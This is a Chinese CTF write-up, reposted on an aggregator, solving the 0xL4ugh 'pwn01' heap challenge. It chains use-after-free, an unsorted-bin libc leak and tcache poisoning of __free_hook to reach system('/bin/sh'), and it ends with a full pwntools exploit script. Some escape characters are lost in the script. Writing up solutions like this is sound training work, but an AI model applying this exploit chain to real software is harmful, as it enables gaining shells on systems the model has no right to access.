0xL4ughctf pwn01分析

admin 2024年2月18日23:00:15评论10 views字数 2116阅读7分3秒阅读模式

这题的考点我也不清楚0xL4ughctf pwn01分析,太多漏洞了。这里我用的UAF+unsortedbin leak+伪造tcache chunk的方式来做的

 分析发现开了所有的防护,但存在UAF

0xL4ughctf pwn01分析

 逆向二进制发现有个隐藏的选项会申请0x4b0的堆,既然这样就可以结合UAF用unsortedbin leak来泄露出libc的地址了

        0xL4ughctf pwn01分析

这里glibc高于2.29的时候就不能使用unsortedbin attack了,这里考虑tcache来实现任意地址的写入

思路是伪造tcache chunk的fd指针在__free_hook中构造一个chunk,之后将其malloc出来之后便可以进行任意写了    

0xL4ughctf pwn01分析

接下来就是写poc了

0xL4ughctf pwn01分析    

0xL4ughctf pwn01分析

 Leaklibc之后就是构造fake tcache chunk了    


0xL4ughctf pwn01分析

0xL4ughctf pwn01分析

0xL4ughctf pwn01分析

这里发现只create一个note的时候是不能实现对__free_hook位置的写的,只有先create两个再free两个才行,猜测tcache struct结构体记录了chunk的个数

0xL4ughctf pwn01分析

这里按照这个思路来对比一下tcache的结构体有什么不同,下面是create两个的情况    

0xL4ughctf pwn01分析

 下面是create一个的情况,可以发现tcache确实在大小上有变化

0xL4ughctf pwn01分析    

0xL4ughctf pwn01分析

所以在伪造tcache的时候需要保证不会改变tcache实际的长度,否则像这里一样还是从unsortedbin中开辟的新chunk,而不是从我们期望的libc中       

0xL4ughctf pwn01分析

继续调试,序号4的这个chunk被留着了heap中也不是tcache的一部分了,之后再create一个开头是/bin/sh字符串的地址再free这个地址时即可getshell,这是因为free的的参数也是chunk的data部分的地址,而不是chunk开头的地址    

0xL4ughctf pwn01分析

执行后出现如下错误

0xL4ughctf pwn01分析

0xL4ughctf pwn01分析

发现是chunk的index搞错了,更换一下就OK了    

0xL4ughctf pwn01分析

0xL4ughctf pwn01分析       

0xL4ughctf pwn01分析

 整的POC如下

from pwn import *

                  

context(log_level="debug")

                  

#io = process("./chall")        

io = remote("20.55.48.101", 1339)

#libc = ELF("./libc-2.31.so")

                  

def debug():

    gdb.attach(io)

    pause()

                  

sla = lambda delim, data: io.sendlineafter(delim, data)

createnote = lambda note: (sla("Exit", "1"), sla("note",note))

deletenote = lambda noteid: (sla("Exit", "2"), sla("delete?",noteid))

editnote = lambda noteid, note: (sla("Exit", "3"), sla("edit?", noteid), sla("n", note))

readnote = lambda noteid: (sla("Exit", "4"),sla("read?", noteid))

leave = lambda : sla("Exit", "5")

createbig = lambda note: (sla("Exit", "10"), sla("note",note))

                  

# leak libc

createbig("aaaa")

createbig("bbbb")

                  

deletenote("1")

readnote("1")        

                  

io.recv(1)

addr = io.recv(6)

libc = u64(addr + b"x00x00") - (0x00007f3a9144dbe0 - 0x7f3a91262000)

                  

#debug()

                  

free_hook = libc + 0x1eeb28

system_addr = libc + 0x55410

                  

print("libc_address:", p64(libc))

print("__free_hook_address:", p64(free_hook))

print("system_address:", p64(system_addr))

                  

# write __free_hook to system

createnote("cccc")

createnote("dddd")

deletenote("4")

deletenote("3")

                  

editnote("3", p64(free_hook))

                          

createnote(p64(system_addr))

createnote(p64(system_addr))

                  

# trigger __free_hook

createnote("/bin/sh0")

#debug()

deletenote("7")

                  

io.interactive()

                  

              

原文始发于微信公众号(3072):0xL4ughctf pwn01分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日23:00:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0xL4ughctf pwn01分析https://cn-sec.com/archives/2502232.html

发表评论

匿名网友 填写信息